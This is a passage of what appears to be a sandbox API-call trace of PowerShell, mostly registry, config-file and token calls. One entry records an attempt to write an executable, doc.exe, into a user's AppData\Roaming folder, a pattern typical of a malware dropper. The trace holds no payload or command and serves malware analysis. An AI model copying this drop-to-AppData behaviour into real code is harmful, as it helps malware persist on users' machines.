lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.070] RegCloseKey (hKey=0x42c) returned 0x0 [0188.071] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.071] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.071] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x269432c, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.071] RegCloseKey (hKey=0x42c) returned 0x0 [0188.071] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.072] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.072] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x2694640, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.072] RegCloseKey (hKey=0x42c) returned 0x0 [0188.072] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.072] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.072] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x269493c, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.072] RegCloseKey (hKey=0x42c) returned 0x0 [0188.075] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e6b4 | out: phkResult=0x5a2e6b4*=0x42c) returned 0x0 [0188.075] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6d4, lpData=0x0, lpcbData=0x5a2e6d0*=0x0 | out: lpType=0x5a2e6d4*=0x1, lpData=0x0, lpcbData=0x5a2e6d0*=0x56) returned 0x0 [0188.075] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6d4, lpData=0x2694c90, lpcbData=0x5a2e6d0*=0x56 | out: lpType=0x5a2e6d4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e6d0*=0x56) returned 0x0 [0188.075] RegCloseKey (hKey=0x42c) returned 0x0 [0188.076] CoTaskMemAlloc (cb=0x20c) returned 0x3ca658 [0188.076] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x3ca658 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0188.076] CoTaskMemFree (pv=0x3ca658) [0188.076] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0188.077] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0188.670] EtwEventActivityIdControl () returned 0x0 [0188.671] SetEvent (hEvent=0x424) returned 1 [0188.671] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2ea10*=0x424, lpdwindex=0x5a2e834 | out: lpdwindex=0x5a2e834) returned 0x0 [0188.672] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e94c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0188.674] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0188.674] GetFileType (hFile=0xb) returned 0x2 [0188.674] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5a2eb48 | out: lpMode=0x5a2eb48) returned 1 [0188.675] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2eb08 | out: lpConsoleScreenBufferInfo=0x5a2eb08) returned 1 [0188.676] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2eb08 | out: lpConsoleScreenBufferInfo=0x5a2eb08) returned 1 [0188.760] EtwEventActivityIdControl () returned 0x0 [0188.760] EtwEventActivityIdControl () returned 0x0 [0188.760] EtwEventActivityIdControl () returned 0x0 [0188.995] EtwEventActivityIdControl () returned 0x0 [0189.731] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5a2e754, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0189.750] CoTaskMemAlloc (cb=0x20c) returned 0x3ca658 [0189.750] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ca658, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0189.750] CoTaskMemFree (pv=0x3ca658) [0189.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0189.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0189.813] GetCurrentProcess () returned 0xffffffff [0189.813] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ea8c | out: TokenHandle=0x5a2ea8c*=0x428) returned 1 [0189.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0189.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0189.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2ea84 | out: lpFileInformation=0x5a2ea84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.821] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2ea8c | out: lpFileInformation=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9c4) returned 1 [0189.822] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0189.823] GetFileType (hFile=0x3dc) returned 0x1 [0189.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9c0) returned 1 [0189.823] GetFileType (hFile=0x3dc) returned 0x1 [0189.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0189.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0189.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa4) returned 1 [0189.932] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2e268 | out: lpFileInformation=0x5a2e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0189.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dfa0) returned 1 [0190.607] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x5a2e134 | out: pfEnabled=0x5a2e134) returned 0x0 [0190.671] GetFileSize (in: hFile=0x3dc, lpFileSizeHigh=0x5a2ea80 | out: lpFileSizeHigh=0x5a2ea80*=0x0) returned 0x8c8e [0190.672] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ea3c, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2ea3c*=0x1000, lpOverlapped=0x0) returned 1 [0190.790] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e8ec, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e8ec*=0x1000, lpOverlapped=0x0) returned 1 [0190.793] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e7a0, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e7a0*=0x1000, lpOverlapped=0x0) returned 1 [0190.794] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e7a0, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e7a0*=0x1000, lpOverlapped=0x0) returned 1 [0190.795] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e7a0, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e7a0*=0x1000, lpOverlapped=0x0) returned 1 [0190.795] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e6d8, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e6d8*=0x1000, lpOverlapped=0x0) returned 1 [0190.808] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e844, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e844*=0x1000, lpOverlapped=0x0) returned 1 [0190.812] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e738, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e738*=0x1000, lpOverlapped=0x0) returned 1 [0190.812] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e738, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e738*=0xc8e, lpOverlapped=0x0) returned 1 [0190.813] ReadFile (in: hFile=0x3dc, lpBuffer=0x25246f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e7fc, lpOverlapped=0x0 | out: lpBuffer=0x25246f4*, lpNumberOfBytesRead=0x5a2e7fc*=0x0, lpOverlapped=0x0) returned 1 [0190.814] CloseHandle (hObject=0x3dc) returned 1 [0190.814] CloseHandle (hObject=0x428) returned 1 [0190.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5a2e750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.815] CoTaskMemAlloc (cb=0x20c) returned 0x3ca658 [0190.815] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ca658, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0190.815] CoTaskMemFree (pv=0x3ca658) [0190.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0190.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0190.816] GetCurrentProcess () returned 0xffffffff [0190.816] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ebd8 | out: TokenHandle=0x5a2ebd8*=0x428) returned 1 [0190.817] CloseHandle (hObject=0x428) returned 1 [0190.818] GetCurrentProcess () returned 0xffffffff [0190.818] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ebd8 | out: TokenHandle=0x5a2ebd8*=0x428) returned 1 [0190.922] CloseHandle (hObject=0x428) returned 1 [0190.923] GetCurrentProcess () returned 0xffffffff [0190.924] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ea8c | out: TokenHandle=0x5a2ea8c*=0x428) returned 1 [0190.925] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2ea84 | out: lpFileInformation=0x5a2ea84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0190.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.925] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2ea8c | out: lpFileInformation=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.926] CloseHandle (hObject=0x428) returned 1 [0190.926] GetCurrentProcess () returned 0xffffffff [0190.926] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ebd8 | out: TokenHandle=0x5a2ebd8*=0x428) returned 1 [0190.927] CloseHandle (hObject=0x428) returned 1 [0190.929] GetCurrentProcess () returned 0xffffffff [0190.929] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ebd8 | out: TokenHandle=0x5a2ebd8*=0x428) returned 1 [0190.930] CloseHandle (hObject=0x428) returned 1 [0191.007] GetCurrentProcess () returned 0xffffffff [0191.007] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2e9f0 | out: TokenHandle=0x5a2e9f0*=0x428) returned 1 [0191.142] CloseHandle (hObject=0x428) returned 1 [0191.142] GetCurrentProcess () returned 0xffffffff [0191.143] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2ea08 | out: TokenHandle=0x5a2ea08*=0x428) returned 1 [0191.144] CloseHandle (hObject=0x428) returned 1 [0191.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0191.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0191.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ed58) returned 1 [0191.155] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0191.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2db78) returned 1 [0192.784] EtwEventActivityIdControl () returned 0x0 [0192.784] EtwEventActivityIdControl () returned 0x0 [0192.784] EtwEventActivityIdControl () returned 0x0 [0192.795] EtwEventActivityIdControl () returned 0x0 [0192.795] EtwEventActivityIdControl () returned 0x0 [0192.795] EtwEventActivityIdControl () returned 0x0 [0192.829] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x3f2b70 [0192.832] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x3f2bf8 [0192.874] CoCreateGuid (in: pguid=0x5a2e924 | out: pguid=0x5a2e924*(Data1=0x3b7c2e53, Data2=0xec5c, Data3=0x41af, Data4=([0]=0x9e, [1]=0xac, [2]=0x5d, [3]=0x57, [4]=0x1d, [5]=0xcb, [6]=0xd8, [7]=0x42))) returned 0x0 [0192.914] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e670 | out: lpPerformanceCount=0x5a2e670*=1262393687020) returned 1 [0195.527] CoCreateGuid (in: pguid=0x5a2e924 | out: pguid=0x5a2e924*(Data1=0x36d2fb57, Data2=0xf61b, Data3=0x4f9f, Data4=([0]=0xb7, [1]=0xa9, [2]=0x81, [3]=0x42, [4]=0xfe, [5]=0xf4, [6]=0xfb, [7]=0xfc))) returned 0x0 [0195.529] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e670 | out: lpPerformanceCount=0x5a2e670*=1262655274365) returned 1 [0198.950] CoCreateGuid (in: pguid=0x5a2e4c8 | out: pguid=0x5a2e4c8*(Data1=0xf2698961, Data2=0x807a, Data3=0x47f8, Data4=([0]=0x9b, [1]=0x34, [2]=0xf, [3]=0xfe, [4]=0xad, [5]=0x55, [6]=0x1b, [7]=0x5b))) returned 0x0 [0198.951] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e304 | out: lpPerformanceCount=0x5a2e304*=1262997398046) returned 1 [0198.960] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e2cc | out: lpPerformanceCount=0x5a2e2cc*=1262998315969) returned 1 [0198.960] EtwEventActivityIdControl () returned 0x0 [0198.960] EtwEventActivityIdControl () returned 0x0 [0198.961] EtwEventActivityIdControl () returned 0x0 [0198.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2dcf4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0198.975] EtwEventActivityIdControl () returned 0x0 [0198.975] EtwEventActivityIdControl () returned 0x0 [0198.975] EtwEventActivityIdControl () returned 0x0 [0198.975] EtwEventActivityIdControl () returned 0x0 [0199.510] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2de88 | out: lpPerformanceCount=0x5a2de88*=1263053333918) returned 1 [0199.513] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x3a4 [0199.513] CoCreateGuid (in: pguid=0x5a2dd90 | out: pguid=0x5a2dd90*(Data1=0xe03f7304, Data2=0x77c1, Data3=0x4704, Data4=([0]=0xa2, [1]=0x2d, [2]=0x62, [3]=0x70, [4]=0x14, [5]=0xfd, [6]=0xe4, [7]=0x21))) returned 0x0 [0199.513] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2dbcc | out: lpPerformanceCount=0x5a2dbcc*=1263053620983) returned 1 [0199.522] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2db94 | out: lpPerformanceCount=0x5a2db94*=1263054547835) returned 1 [0199.523] EtwEventActivityIdControl () returned 0x0 [0199.523] EtwEventActivityIdControl () returned 0x0 [0199.523] EtwEventActivityIdControl () returned 0x0 [0199.523] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2d5bc, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0199.619] EtwEventActivityIdControl () returned 0x0 [0199.619] EtwEventActivityIdControl () returned 0x0 [0199.619] EtwEventActivityIdControl () returned 0x0 [0199.620] EtwEventActivityIdControl () returned 0x0 [0201.091] EtwEventActivityIdControl () returned 0x0 [0201.092] EtwEventActivityIdControl () returned 0x0 [0201.093] EtwEventActivityIdControl () returned 0x0 [0201.093] EtwEventActivityIdControl () returned 0x0 [0201.971] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4a4 | out: lpConsoleScreenBufferInfo=0x5a2e4a4) returned 1 [0202.690] CoCreateGuid (in: pguid=0x5a2e4c8 | out: pguid=0x5a2e4c8*(Data1=0xc72aa0a1, Data2=0x1473, Data3=0x45b8, Data4=([0]=0xb5, [1]=0x84, [2]=0x95, [3]=0xd5, [4]=0x2a, [5]=0xf8, [6]=0x69, [7]=0x6))) returned 0x0 [0202.691] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e304 | out: lpPerformanceCount=0x5a2e304*=1263371422910) returned 1 [0202.699] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e2cc | out: lpPerformanceCount=0x5a2e2cc*=1263372165353) returned 1 [0202.699] EtwEventActivityIdControl () returned 0x0 [0202.699] EtwEventActivityIdControl () returned 0x0 [0202.699] EtwEventActivityIdControl () returned 0x0 [0202.700] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2dcf4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0202.701] EtwEventActivityIdControl () returned 0x0 [0202.701] EtwEventActivityIdControl () returned 0x0 [0202.701] EtwEventActivityIdControl () returned 0x0 [0202.702] EtwEventActivityIdControl () returned 0x0 [0202.861] EtwEventActivityIdControl () returned 0x0 [0202.861] EtwEventActivityIdControl () returned 0x0 [0203.943] CoCreateGuid (in: pguid=0x5a2e4c8 | out: pguid=0x5a2e4c8*(Data1=0x61dd0f6e, Data2=0xb3a0, Data3=0x4d98, Data4=([0]=0xbd, [1]=0x7b, [2]=0x65, [3]=0xcf, [4]=0xf5, [5]=0x7b, [6]=0x6e, [7]=0xbf))) returned 0x0 [0203.944] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e304 | out: lpPerformanceCount=0x5a2e304*=1263496667099) returned 1 [0203.947] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e2cc | out: lpPerformanceCount=0x5a2e2cc*=1263497020268) returned 1 [0203.947] EtwEventActivityIdControl () returned 